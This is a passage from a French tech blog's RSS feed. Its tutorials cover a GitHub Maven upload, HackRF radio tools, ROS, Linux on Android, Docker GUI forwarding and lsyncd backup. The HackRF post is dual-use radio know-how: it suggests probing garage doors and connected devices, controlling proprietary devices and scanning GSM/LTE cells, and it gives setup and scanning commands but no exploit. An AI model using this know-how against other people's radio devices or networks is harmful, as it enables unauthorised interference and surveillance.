<li>Ruby gem</li>
<li>npm</li>
</ul>
<br/>
<h2 id="commande">Commande</h2>
<p>En pré-requis, il sera nécessaire de générer un Github personal access tocken (&ndash;&gt; Settings &ndash;&gt; Developer settings &ndash;&gt; Personal access tokens)</p>
<pre tabindex="0"><code>export MON_REPO_GIT=oeeckhoutte/mon-package
export PACKAGE_NAME=mon-package
export PACKAGE_VERSION=0.0.1
export JAR_FILENAME=mon-package-0.0.1.jar
export LOCAL_JAR_PACKAGE_PATH=/tmp/mon-package-0.0.1.jar

curl -X PUT \
&#34;https://maven.pkg.github.com/$MON_REPO_GIT/$PACKAGE_NAME/$PACKAGE_VERSION/$JAR_FILENAME&#34; \
-H &#34;Authorization: token YOUR_TOKEN&#34; \
--upload-file $LOCAL_JAR_PACKAGE_PATH -vvv
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Manipuler les fréquences radio</title>
            <link>https://leandeep.com/manipuler-les-fr%C3%A9quences-radio/</link>
            <pubDate>Sat, 18 Apr 2020 15:20:00 +0200</pubDate>
            
            <guid>https://leandeep.com/manipuler-les-fr%C3%A9quences-radio/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons comment installer des outils permettant d&amp;rsquo;analyser des fréquences radio.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;installation sera faite sur Ubuntu 18.04 avec un user non root. Le hardware permettant de recevoir et émettre des ondes est un HackRF.
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Les outils sont les suivants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kalibrate&lt;/li&gt;
&lt;li&gt;Qspectrum&lt;/li&gt;
&lt;li&gt;Inspectrum&lt;/li&gt;
&lt;li&gt;Spectrum Analyzer GUI&lt;/li&gt;
&lt;li&gt;URH (Universal Radio Hack)&lt;/li&gt;
&lt;li&gt;Gnuradio&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi ces outils sont-ils utiles ?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Analyser la sécurité de vos objets connectés, ou votre porte de garage, votre portail motorisé&amp;hellip; (malheureusement beaucoup comportent des failles)&lt;/li&gt;
&lt;li&gt;Comprendre comment fonctionnent les ondes GSM et mieux vous protéger (Attention aux ISMI catchers)&lt;/li&gt;
&lt;li&gt;Piloter des drones, voitures téléguidées qui n&amp;rsquo;ont pas d&amp;rsquo;API et que vous aimez bidouillez. Votre HackRF vous permet de les contrôler très simplement.&lt;/li&gt;
&lt;li&gt;Idem avec vos objets connectés propriétaires. Vous pouvez les contrôler même s&amp;rsquo;ils n&amp;rsquo;ont pas d&amp;rsquo;API ou de SDK mis à disposition par les constructeurs.&lt;/li&gt;
&lt;li&gt;Réaliser un projet LORA WAN&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-des-drivers-pour-hackrf&#34;&gt;Installation des drivers pour HackRF&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install build-essential cmake libfftw3-dev libusb-1.0-0-dev pkg-config

sudo apt install hackrf
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Si le paquet &lt;code&gt;hackrf&lt;/code&gt; ne s&amp;rsquo;installe pas sur votre OS Linux vous pouvez utiliser les commandes suivantes:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons comment installer des outils permettant d&rsquo;analyser des fréquences radio.</p>
<p>L&rsquo;installation sera faite sur Ubuntu 18.04 avec un user non root. Le hardware permettant de recevoir et émettre des ondes est un HackRF.
<br/></p>
<p>Les outils sont les suivants:</p>
<ul>
<li>Kalibrate</li>
<li>Qspectrum</li>
<li>Inspectrum</li>
<li>Spectrum Analyzer GUI</li>
<li>URH (Universal Radio Hack)</li>
<li>Gnuradio</li>
</ul>
<br/>
<p><strong>Pourquoi ces outils sont-ils utiles ?</strong></p>
<ul>
<li>Analyser la sécurité de vos objets connectés, ou votre porte de garage, votre portail motorisé&hellip; (malheureusement beaucoup comportent des failles)</li>
<li>Comprendre comment fonctionnent les ondes GSM et mieux vous protéger (Attention aux ISMI catchers)</li>
<li>Piloter des drones, voitures téléguidées qui n&rsquo;ont pas d&rsquo;API et que vous aimez bidouillez. Votre HackRF vous permet de les contrôler très simplement.</li>
<li>Idem avec vos objets connectés propriétaires. Vous pouvez les contrôler même s&rsquo;ils n&rsquo;ont pas d&rsquo;API ou de SDK mis à disposition par les constructeurs.</li>
<li>Réaliser un projet LORA WAN</li>
<li>etc.</li>
</ul>
<br/>
<h2 id="installation-des-drivers-pour-hackrf">Installation des drivers pour HackRF</h2>
<pre tabindex="0"><code>sudo apt install build-essential cmake libfftw3-dev libusb-1.0-0-dev pkg-config

sudo apt install hackrf
</code></pre><br/>
<p>Si le paquet <code>hackrf</code> ne s&rsquo;installe pas sur votre OS Linux vous pouvez utiliser les commandes suivantes:</p>
<pre tabindex="0"><code>git clone https://github.com/mossmann/hackrf.git
cd hackrf/
mkdir host/build/
cd host/build/
cmake ..
make -j8
make install
ldconfig
</code></pre><br/>
<p>Pour des raisons de sécurité, un utilisateur normal sur Linux n&rsquo;a pas les permissions pour accéder à des devices USB arbitraires. Pour accéder au Hackrf sans droit root, on peut créer un fichier <code>/etc/udev/rules.d/52-hackrf.rules</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>ATTR{idVendor}==&#34;1d50&#34;, ATTR{idProduct}==&#34;604b&#34;, SYMLINK+=&#34;hackrf-jawbreaker-%k&#34;, MODE=&#34;660&#34;, GROUP=&#34;plugdev&#34;
ATTR{idVendor}==&#34;1d50&#34;, ATTR{idProduct}==&#34;6089&#34;, SYMLINK+=&#34;hackrf-one-%k&#34;, MODE=&#34;660&#34;, GROUP=&#34;plugdev&#34;
ATTR{idVendor}==&#34;1fc9&#34;, ATTR{idProduct}==&#34;000c&#34;, SYMLINK+=&#34;hackrf-dfu-%k&#34;, MODE=&#34;660&#34;, GROUP=&#34;plugdev&#34;
</code></pre><p><em>Le contenu de ce fichier permet de dire à <code>udev</code> de reconnaitre HackRF grâce au Vendor ID et Product ID
Il fixe les permissions UNIX à 660 et au groupe plugdev pour /dev. Enfin, il crée un symlink dans /dev pour le device HackRF.</em></p>
<br/>
<p>Une fois le fichier de règle précédent créé, il faut reloader <code>udevadm</code>:</p>
<pre tabindex="0"><code>sudo udevadm control --reload-rules
</code></pre><br/>
<p>Pour vérifier que HackRF est bien détecté, on peut utiliser la commande <code>hackrf_info</code>.</p>
<br/>
<h2 id="kalibrate">Kalibrate</h2>
<p><strong>Analyse d&rsquo;ondes GSM avec Kalibrate</strong></p>
<pre tabindex="0"><code>apt install libtool autoconf automake m4
</code></pre><pre tabindex="0"><code>#git clone https://github.com/scateu/kalibrate-hackrf.git
git clone https://github.com/rxseger/kalibrate-hackrf.git
cd kalibrate-hackrf/
./bootstrap
./configure 
make -j8
cd ../
</code></pre><pre tabindex="0"><code>kalibrate-hackrf/src/kal -h
kalibrate-hackrf/src/kal -s GSM900 -l 32 -g 20 -p 10 | tee GSM900.kal-hackrf

sort -rh -k7,7 GSM900.kal-hackrf
</code></pre><br/>
<p>Alternative pour analyser des ondes GSM: utiliser LTE-Cell-Scanner</p>
<pre tabindex="0"><code>git clone https://github.com/rxseger/LTE-Cell-Scanner.git
cd LTE-Cell-Scanner/build/src/
./CellSearch -h
./CellSearch --freq-start 1842.5e6 --freq-end 1842.5e6 --gain 20
./CellSearch --freq-start 1842.5e6 --freq-end 1842.5e6 --gain 20 --correction 1.000010337027486429
#1.0000089694805360807

python

&gt;&gt;&gt; 1e6 * (1 - 1.0000101601567139564)
-10.160156713956425

&gt;&gt;&gt; 1e6 * (1 - 1.0000089694805360807)
-8.96948053608071
However - don’t ask me why - it works best without any correction nor PPM

./LTE-Tracker -h
#./LTE-Tracker --gain 20 --freq 1842.5e6 --correction 1.0000089694805360807 --ppm 20
./LTE-Tracker --gain 20 --freq 1842.5e6
</code></pre><br/>
<h2 id="qspectrum">Qspectrum</h2>
<pre tabindex="0"><code>git clone https://github.com/xmikos/qspectrumanalyzer.git
#less README.rst #--&gt; Ubuntu
#apt install python3-pyqt5 python3-pyqtgraph

apt install python3-pip
pip3 install qspectrumanalyzer

which hackrf_sweep
qspectrumanalyzer 
</code></pre><br/>
<p><strong>Configurer Qspectrum</strong></p>
<p>File &gt; Settings</p>
<p>settings/Backend: hackrf_sweep</p>
<p>settings/Sample rate: 20 Mhz</p>
<br/>
<p>Frequency: 10 or 450 - 7250 Mhz</p>
<p>Bin size:  1000 kHz</p>
<br/>
<p>-MAIN CURVE</p>
<p>MAX HOLD</p>
<p>AVERAGE</p>
<p>SMOOTHING</p>
<br/>
<h2 id="inspectrum">Inspectrum</h2>
<pre tabindex="0"><code>git clone https://github.com/miek/inspectrum.git
cd inspectrum/
mkdir build/
cd build/
cmake ..
make -j8
sudo make install

hackrf_transfer -h
hackrf_transfer -r air.cs8 -f `arfcncalc -a $arfcn -d` -l 32 -g 20 -s 2e6
hackrf_transfer -r air.cs8 -f 1842.5e6 -l 32 -g 20 -s 11e6
#-C &#34;$hppm&#34;

inspectrum -h
inspectrum --rate 2e6 air.cs8
inspectrum --rate 11e6 air.cs8
</code></pre><p>Si vous avez l&rsquo;erreur suivante &ldquo;Couldn&rsquo;t transfer any bytes for one second&rdquo;, vous pouvez regarder dans la FAQ de HackRF et les issues ouvertes: <a href="https://github.com/mossmann/hackrf/issues/237">https://github.com/mossmann/hackrf/issues/237</a> &amp; <a href="https://github.com/mossmann/hackrf/wiki/FAQ">https://github.com/mossmann/hackrf/wiki/FAQ</a></p>
<br/>
<h2 id="spectrum-analyzer-gui">Spectrum Analyzer GUI</h2>
<pre tabindex="0"><code>sudo apt install build-essential ant git libusb-1.0 libfftw3 libfftw3-dev openjdk-8-jdk

git clone --depth=1 --recurse-submodules https://github.com/pavsa/hackrf-spectrum-analyzer.git
cd hackrf-spectrum-analyzer/src/hackrf-sweep/
make -j8
build/hackrf_sweep_spectrum_analyzer.sh
</code></pre><br/>
<h2 id="installation-de-urh">Installation de URH</h2>
<pre tabindex="0"><code>sudo apt install gr-osmosdr
sudo apt-get install libhackrf-dev

mkvirtualenv -p /usr/bin/python3 -a . sdr_env
pip install urh
</code></pre><br/>
<h2 id="installation-de-gnu-radio">Installation de GNU Radio</h2>
<pre tabindex="0"><code># Pour connaitre le Sample rate d&#39;un WAV pour configurer la transmission 
sudo apt install mplayer
# example: 
# mplayer Jacky-Core-Encore-Plus-Fort-Captain-2015.wav


sudo add-apt-repository ppa:gnuradio/gnuradio-releases-3.7
sudo apt-get update
sudo apt install gnuradio
</code></pre><blockquote>
<p>Note: une fois votre workflow terminé sur Gnuradio, vous pouvez accéder au code Python pour aller plus loin et automatiser son utilisation. Example dans mon cas: <code>/usr/bin/python2 -u /home/olivier/Dev/SDR/top_block.py</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Installer ROS sur Ubuntu 18.04</title>
            <link>https://leandeep.com/installer-ros-sur-ubuntu-18.04/</link>
            <pubDate>Sun, 29 Mar 2020 16:01:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-ros-sur-ubuntu-18.04/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment installer ROS sur Ubuntu 18.04 et créer son workspace de travail.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-sur-ubuntu-directement-sans-docker&#34;&gt;Installation sur Ubuntu directement (sans Docker)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installation de ROS Melodic&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Ajouter le repo ROS
sudo sh -c &amp;#39;echo &amp;#34;deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main&amp;#34; &amp;gt; /etc/apt/sources.list.d/ros-latest.list&amp;#39;

# Truster le repo ROS
sudo apt-key adv --keyserver &amp;#39;hkp://keyserver.ubuntu.com:80&amp;#39; --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654

sudo apt install ros-melodic-desktop-full
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation de rosdep&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install python-rosdep python-rosinstall python-rosinstall-generator python-wstool build-essential
sudo rosdep init
rosdep update
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Ajout des variables d&amp;rsquo;environnement au terminal&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment installer ROS sur Ubuntu 18.04 et créer son workspace de travail.</p>
<br/>
<h2 id="installation-sur-ubuntu-directement-sans-docker">Installation sur Ubuntu directement (sans Docker)</h2>
<p><strong>Installation de ROS Melodic</strong></p>
<pre tabindex="0"><code># Ajouter le repo ROS
sudo sh -c &#39;echo &#34;deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main&#34; &gt; /etc/apt/sources.list.d/ros-latest.list&#39;

# Truster le repo ROS
sudo apt-key adv --keyserver &#39;hkp://keyserver.ubuntu.com:80&#39; --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654

sudo apt install ros-melodic-desktop-full
</code></pre><br/>
<p><strong>Installation de rosdep</strong></p>
<pre tabindex="0"><code>sudo apt install python-rosdep python-rosinstall python-rosinstall-generator python-wstool build-essential
sudo rosdep init
rosdep update
</code></pre><br/>
<p><strong>Ajout des variables d&rsquo;environnement au terminal</strong></p>
<p>Rendez-vous dans le répertoire <code>/opt/ros/melodic/</code> et recherchez les fichiers setup.QUELQUE_CHOSE. Repérez celui qui correspond à votre shell et executez la commande correspondante:</p>
<pre tabindex="0"><code>echo &#34;source /opt/ros/melodic/setup.zsh&#34; &gt;&gt; ~/.zshrc

# Alternative: 
# echo &#34;source /opt/ros/melodic/setup.bash&#34; &gt;&gt; ~/.bashrc
</code></pre><br/>
<p><strong>Installation de rosinstall</strong></p>
<p>Pour gérer les <em>source trees</em> de certains paquets particulier ROS:</p>
<pre tabindex="0"><code>sudo apt install python-rosinstall
</code></pre><br/>
<h2 id="vérification-du-bon-fonctionnement">Vérification du bon fonctionnement</h2>
<p>Dans un terminal exécuter la commande suivante:</p>
<pre tabindex="0"><code>roscore
</code></pre><p>Dans un second terminal exécuter la commande suivante:</p>
<pre tabindex="0"><code>rosrun turtlesim turtlesim_node
</code></pre><p>Si une tortue apparaît dans une nouvelle fenêtre, c&rsquo;est que l&rsquo;installation est correcte.</p>
<blockquote>
<p>Même à distance via SSH, vous devriez voir apparaître cette fenêtre. Si vous avez une erreur du genre <code>Could not connect to any X display</code>, ajoutez le flag <code>-X</code> lors de votre connexion <code>SSH</code>.</p></blockquote>
<br/>
<h2 id="installation-avec-docker">Installation avec Docker</h2>
<p>Docker est une option intéressante. Je l&rsquo;ai testé et cela fonctionne très bien.
Je préfère néanmoins l&rsquo;installation directement sur le système pour éviter de me prendre la tête avec le serveur X.</p>
<br/>
<pre tabindex="0"><code>git clone https://github.com/jbnunn/ROSGazeboDesktop
cd ROSGazeboDesktop
# Le Dockerfile contient une erreur. Il faut ajouter l&#39;installation du paquet python-rosdep

docker build -t ros-gazebo-desktop .
mkdir data
docker run -it --rm --name=ros_gazebo_desktop -m=4g -p 6080:80 -p 5900:5900 -v $PWD/data:/home/ubuntu/data -e RESOLUTION=1680x860 -e USER=ubuntu -e PASSWORD=ubuntu ros-gazebo-desktop   
</code></pre><br/>
<p>On peut ensuite se connecter au container via VNC: http://locahost:6080/</p>
<br/>
<p>Démarrer un nouveau monde:</p>
<pre tabindex="0"><code>roslaunch gazebo_ros empty_world.launch 
</code></pre><br/>
<p>Importer un modèle:</p>
<pre tabindex="0"><code>rosrun gazebo_ros spawn_model -file ~/.gazebo/models/create/model-1_4.sdf -sdf -model Create
</code></pre><br/>
<p>D&rsquo;autres mondes sont disponibles:</p>
<pre tabindex="0"><code>roslaunch gazebo_ros willowgarage_world.launch
roslaunch gazebo_ros mud_world.launch
roslaunch gazebo_ros shapes_world.launch
roslaunch gazebo_ros rubble_world.launch
</code></pre><br/>
<p>Commandes disponibles pour faire bouger le robot:</p>
<pre tabindex="0"><code>rostopic list

/clock
/gazebo/link_states
/gazebo/model_states
/gazebo/parameter_descriptions
/gazebo/parameter_updates
/gazebo/set_link_state
/gazebo/set_model_state
/rosout
</code></pre><br/>
<p>Faire bouger le robot:</p>
<pre tabindex="0"><code>rostopic pub /gazebo/set_model_state gazebo_msgs/ModelState &#39;{model_name: Create, pose: { position: { x: 0, y: 0, z: 0 }, orientation: {x: 0, y: 0, z: 0} }, twist: { linear: { x: 1, y: 0, z: 0 }, angular: { x: 0, y: 0, z: 0}  }, reference_frame: world }&#39;
</code></pre><br/>
<p>D&rsquo;autres modèles sont disponibles à <a href="https://bitbucket.org/osrf/gazebo_models">l&rsquo;adresse suivante</a>.</p>
<br/>
<h2 id="création-du-workspace">Création du workspace</h2>
<pre tabindex="0"><code>mkdir -p ~/catkin_ws/src
cd catkin_ws/src
catkin_init_workspace
cd ~/catkin_ws
catkin_make
</code></pre><br/>
<p>Pour accéder au workspace nouvellement créé:</p>
<pre tabindex="0"><code>echo &#34;source ~/catkin_ws/devel/setup.zsh&#34; &gt;&gt; ~/.zshrc
source ~/.zshrc
</code></pre><br/>
<p>Si la commande suivante retourne un path, c&rsquo;est tout est ok.</p>
<pre tabindex="0"><code>echo $ROS_PACKAGE_PATH
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Linux sur Android</title>
            <link>https://leandeep.com/linux-sur-android/</link>
            <pubDate>Sun, 29 Mar 2020 00:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/linux-sur-android/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Ce weekend j&amp;rsquo;ai découvert qu&amp;rsquo;il était possible d&amp;rsquo;installer Linux sur Android. Je pensais qu&amp;rsquo;il était necessaire de rooter son téléphone mais pas du tout. Avec l&amp;rsquo;application &lt;a href=&#34;https://play.google.com/store/apps/details?id=tech.ula&#34;&gt;UserLand&lt;/a&gt;, on peut installer directement ses distributions préférées. Mon besoin était de pouvoir directement brancher mon téléphone à ma télé pour regarder des films. Les solutions comme Kodi ou Plex sont intéressantes mais j&amp;rsquo;ai souvent des coupures car je regarde des films en UHD. En plus de cela, cela occupe de la bande passante sur mon réseau local (j&amp;rsquo;en ai besoin pour d&amp;rsquo;autres choses).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Ce weekend j&rsquo;ai découvert qu&rsquo;il était possible d&rsquo;installer Linux sur Android. Je pensais qu&rsquo;il était necessaire de rooter son téléphone mais pas du tout. Avec l&rsquo;application <a href="https://play.google.com/store/apps/details?id=tech.ula">UserLand</a>, on peut installer directement ses distributions préférées. Mon besoin était de pouvoir directement brancher mon téléphone à ma télé pour regarder des films. Les solutions comme Kodi ou Plex sont intéressantes mais j&rsquo;ai souvent des coupures car je regarde des films en UHD. En plus de cela, cela occupe de la bande passante sur mon réseau local (j&rsquo;en ai besoin pour d&rsquo;autres choses).</p>
<p>Avoir un Linux sur mon Android me permet de démarrer quand j&rsquo;ai en envi et directement de mon téléphone un serveur multimédia maison basé sur Python, JavaScript et NodeJS.</p>
<p>Mon téléphone est un Huawei p30, (Et oui, bye bye Apple !). L&rsquo;intérêt de ce téléphone, en plus d&rsquo;être sous Android, c&rsquo;est d&rsquo;avoir nativement un mode desktop . En effet, quand je branche mon téléphone ou usb-c (ou via un adaptateur HDMI &lt;-&gt; usb-c) sur une télévision l&rsquo;affichage passe en mode desktop. Comme ce téléphone est très puissant, on a presque l&rsquo;impression d&rsquo;être sur un PC Linux classique.</p>
<p>Il est possible de faire &ldquo;transiter&rdquo; des fichiers entre Ubuntu et Android et d&rsquo;y accéder directement dans l&rsquo;application &ldquo;Fichiers&rdquo;. Pour ce faire, il suffit d&rsquo;écrire les fichiers dans le répertoire <code>/storage/internal</code>.</p>
<br/>
<h2 id="outils-installés-et-remarques">Outils installés et remarques</h2>
<ul>
<li>
<p>Termux</p>
</li>
<li>
<p>bVNC Free</p>
</li>
<li>
<p>Ubuntu dans Userland</p>
<ul>
<li>
<p>J&rsquo;ai installé les packages suivants:
<code>sudo apt-get install python-dev python3-dev nodejs npm vim openssh-server git curl net-tools rsync</code></p>
</li>
<li>
<p>nvm est &ldquo;installable&rdquo; mais les versions de NodeJS installées ne sont pas compatible avec l&rsquo;architecture arm64 du téléphone.</p>
</li>
<li>
<p><code>/etc/hosts</code> fonctionne parfaitement</p>
</li>
<li>
<p>Démarrer des serveurs Python et Nodejs et y accéder sur le réseau local: ok</p>
</li>
<li>
<p>SSH vers serveurs distants: ok</p>
</li>
<li>
<p>SSH vers Ubuntu dans téléphone: ok <strong>&ndash;&gt; port 2022</strong></p>
</li>
</ul>
<blockquote>
<p><a href="https://matt.ucc.asn.au/dropbear/dropbear.html">Dropbear</a> est utilisé comme serveur SSH</p></blockquote>
<ul>
<li>
<p>&ldquo;Durée de vie&rdquo; d&rsquo;un serveur démarré: pas de coupure en activant la fonctionnalité <em>Wakelock</em> d&rsquo;Android.</p>
</li>
<li>
<p>Installation de vscode (même procédure que pour Jetson Nano): ko</p>
</li>
</ul>
</li>
</ul>
<pre tabindex="0"><code>git clone https://github.com/JetsonHacksNano/installVSCode.git
cd installVSCode
./installVSCode.sh
sudo apt install --fix-broken
sudo apt-get install libasound2
./installVSCode.sh
</code></pre><p>L&rsquo;installation semble aller au bout sans erreur mais au démarrage de <code>code-oss</code> l&rsquo;erreur suivante apparaît: <code>Error: Cannot find module './bootstrap'</code>. Je ne suis pas le seul à rencontrer le problème. Il y a <a href="https://github.com/headmelted/codebuilds/issues/97">ce bug ouvert sur Github</a>&hellip;</p>
<ul>
<li>
<p>Création de hotspot dans Kali: ko &ndash;&gt; <code>/sys/class/net</code> inaccessible</p>
</li>
<li>
<p>USB support: ko</p>
</li>
<li>
<p>Docker: ko</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Afficher sur Mac l&#39;interface graphique d&#39;une app executée dans Docker</title>
            <link>https://leandeep.com/afficher-sur-mac-linterface-graphique-dune-app-execut%C3%A9e-dans-docker/</link>
            <pubDate>Sat, 28 Mar 2020 16:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/afficher-sur-mac-linterface-graphique-dune-app-execut%C3%A9e-dans-docker/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Depuis quelque temps je travaille sur l&amp;rsquo;apprentissage de robots dans ROS.
Je fais tourner ROS sans un container Docker et accède à l&amp;rsquo;interface graphique via VNC (dans le browser avec noVNC). Ce n&amp;rsquo;est clairement pas une solution qui me contient. Le clavier est mal supporté, les performances sont mauvaises. Je cherche donc une solution de remplacement pour piloter à distance l&amp;rsquo;outil ROS. En faisant des recherches sur internet, je suis parvenu à afficher l&amp;rsquo;interface graphique d&amp;rsquo;une app exécutée dans un container Docker sur mon Mac. L&amp;rsquo;application est basique mais cette piste est à explorer. Voici comment afficher une app basique sur Mac.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Depuis quelque temps je travaille sur l&rsquo;apprentissage de robots dans ROS.
Je fais tourner ROS sans un container Docker et accède à l&rsquo;interface graphique via VNC (dans le browser avec noVNC). Ce n&rsquo;est clairement pas une solution qui me contient. Le clavier est mal supporté, les performances sont mauvaises. Je cherche donc une solution de remplacement pour piloter à distance l&rsquo;outil ROS. En faisant des recherches sur internet, je suis parvenu à afficher l&rsquo;interface graphique d&rsquo;une app exécutée dans un container Docker sur mon Mac. L&rsquo;application est basique mais cette piste est à explorer. Voici comment afficher une app basique sur Mac.</p>
<br/>
<h2 id="steps">Steps</h2>
<p><strong>Configurer Xquartz</strong></p>
<p>Ouvrir Xquartz et rendez-vous dans les préférences.</p>
<pre tabindex="0"><code>open -a Xquartz
</code></pre><p>Dans l&rsquo;onglet &ldquo;Sécurité&rdquo; cocher la case &ldquo;Allow connections from network clients&rdquo;.</p>
<br/>
<p><strong>Lancer socat</strong></p>
<p>Si vous ne l&rsquo;avez pas déjà, installer <code>socat</code> via la commande <code>brew install socat</code> puis dans un terminal exécuter la commande suivante:</p>
<pre tabindex="0"><code>socat TCP-LISTEN:6000,reuseaddr,fork UNIX-CLIENT:\&#34;$DISPLAY\&#34;
</code></pre><blockquote>
<p>Socat permet de manipuler des sockets réseau.</p></blockquote>
<br/>
<p><strong>Lancer une app dans un container</strong></p>
<pre tabindex="0"><code>export macbook_ip=IP_MACBOOK_SUR_LAN
docker run -it --rm -e DISPLAY=$macbook_ip:0 fr3nd/xeyes
</code></pre><br/>
<p>Voici le Dockerfile de cette image:</p>
<pre tabindex="0"><code>FROM debian:jessie

RUN apt-get update &amp;&amp; apt-get install -y \
      x11-apps \
      &amp;&amp; rm -rf /usr/share/doc/* &amp;&amp; \
      rm -rf /usr/share/info/* &amp;&amp; \
      rm -rf /tmp/* &amp;&amp; \
      rm -rf /var/tmp/*

RUN useradd -ms /bin/bash user
USER user
CMD xeyes
</code></pre><p>A priori, il n&rsquo;y a donc pas grand chose à installer pour que cela fonctionne. A voir ce que cela va donner pour ROS desktop&hellip;</p>
<br/>
<p><strong>Résultat</strong></p>
<p><img src="/images/remote_app_eyes.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Synchroniser 2 répertoires ou 2 disques en temps réel</title>
            <link>https://leandeep.com/synchroniser-2-r%C3%A9pertoires-ou-2-disques-en-temps-r%C3%A9el/</link>
            <pubDate>Wed, 18 Mar 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/synchroniser-2-r%C3%A9pertoires-ou-2-disques-en-temps-r%C3%A9el/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;objectif de cet article est de partager comment je backup mon raid &lt;code&gt;/dev/md0&lt;/code&gt; vers &lt;code&gt;/dev/md1&lt;/code&gt; grâce à l&amp;rsquo;utilitaire &lt;code&gt;lsyncd&lt;/code&gt;. Cela peut être pratique si vous avez des données très sensibles que vous ne voulez pas perdre. Je ne sais pas si c&amp;rsquo;est la meilleure solution mais avec 2 x 2 disques répliquées, je prends peu de risque de voir disparaître mes données. A voir sur le long terme si c&amp;rsquo;est efficace en terme de stabilité ou performance.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>L&rsquo;objectif de cet article est de partager comment je backup mon raid <code>/dev/md0</code> vers <code>/dev/md1</code> grâce à l&rsquo;utilitaire <code>lsyncd</code>. Cela peut être pratique si vous avez des données très sensibles que vous ne voulez pas perdre. Je ne sais pas si c&rsquo;est la meilleure solution mais avec 2 x 2 disques répliquées, je prends peu de risque de voir disparaître mes données. A voir sur le long terme si c&rsquo;est efficace en terme de stabilité ou performance.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>apt install lsyncd
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>Créer les répertoires contenants les status et logs de la synchronisation.</p>
<pre tabindex="0"><code>mkdir /var/log/lsyncd
touch /var/log/lsyncd/lsyncd.{log,status}
</code></pre><br/>
<p>Modifier le fichier <code>/etc/lsyncd/lsyncd.conf.lua</code> et ajouter les règles décrivant les synchronisations.</p>
<pre tabindex="0"><code>settings {
logfile = &#34;/var/log/lsyncd/lsyncd.log&#34;,
statusFile = &#34;/var/log/lsyncd/lsyncd.status&#34;
}

sync{
default.rsync,
source=&#34;/mnt/md0&#34;,
target=&#34;/mnt/md1&#34;,
}
</code></pre><br/>
<h2 id="activation-le-service">Activation le service</h2>
<pre tabindex="0"><code>systemctl enable lsyncd
systemctl start lsyncd
# or &#39;systemctl restart lsyncd&#39; to take into account the last configuration changes if the service was already running.

# Si tout est ok:
systemctl status lsyncd
● lsyncd.service - LSB: lsyncd daemon init script
   Loaded: loaded (/etc/init.d/lsyncd; generated)
   Active: active (running) since Thu 2020-03-19 00:02:27 CET; 5s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 12729 ExecStop=/etc/init.d/lsyncd stop (code=exited, status=0/SUCCESS)
  Process: 12747 ExecStart=/etc/init.d/lsyncd start (code=exited, status=0/SUCCESS)
    Tasks: 4 (limit: 4915)
   CGroup: /system.slice/lsyncd.service
           ├─12765 /usr/bin/lsyncd -pidfile /var/run/lsyncd.pid /etc/lsyncd/lsyncd.conf.lua
           ├─12861 /usr/bin/rsync --delete --ignore-errors -slt -r /mnt/md0/ /mnt/md1/
           ├─12862 /usr/bin/rsync --delete --ignore-errors -slt -r /mnt/md0/ /mnt/md1/
           └─12863 /usr/bin/rsync --delete --ignore-errors -slt -r /mnt/md0/ /mnt/md1/

Mar 19 00:02:27 olivier-NUC7i7BNH systemd[1]: Starting LSB: lsyncd daemon init script...
Mar 19 00:02:27 olivier-NUC7i7BNH lsyncd[12747]:  * Starting synchronization daemon lsyncd
Mar 19 00:02:27 olivier-NUC7i7BNH lsyncd[12747]:    ...done.
Mar 19 00:02:27 olivier-NUC7i7BNH systemd[1]: Started LSB: lsyncd daemon init script.
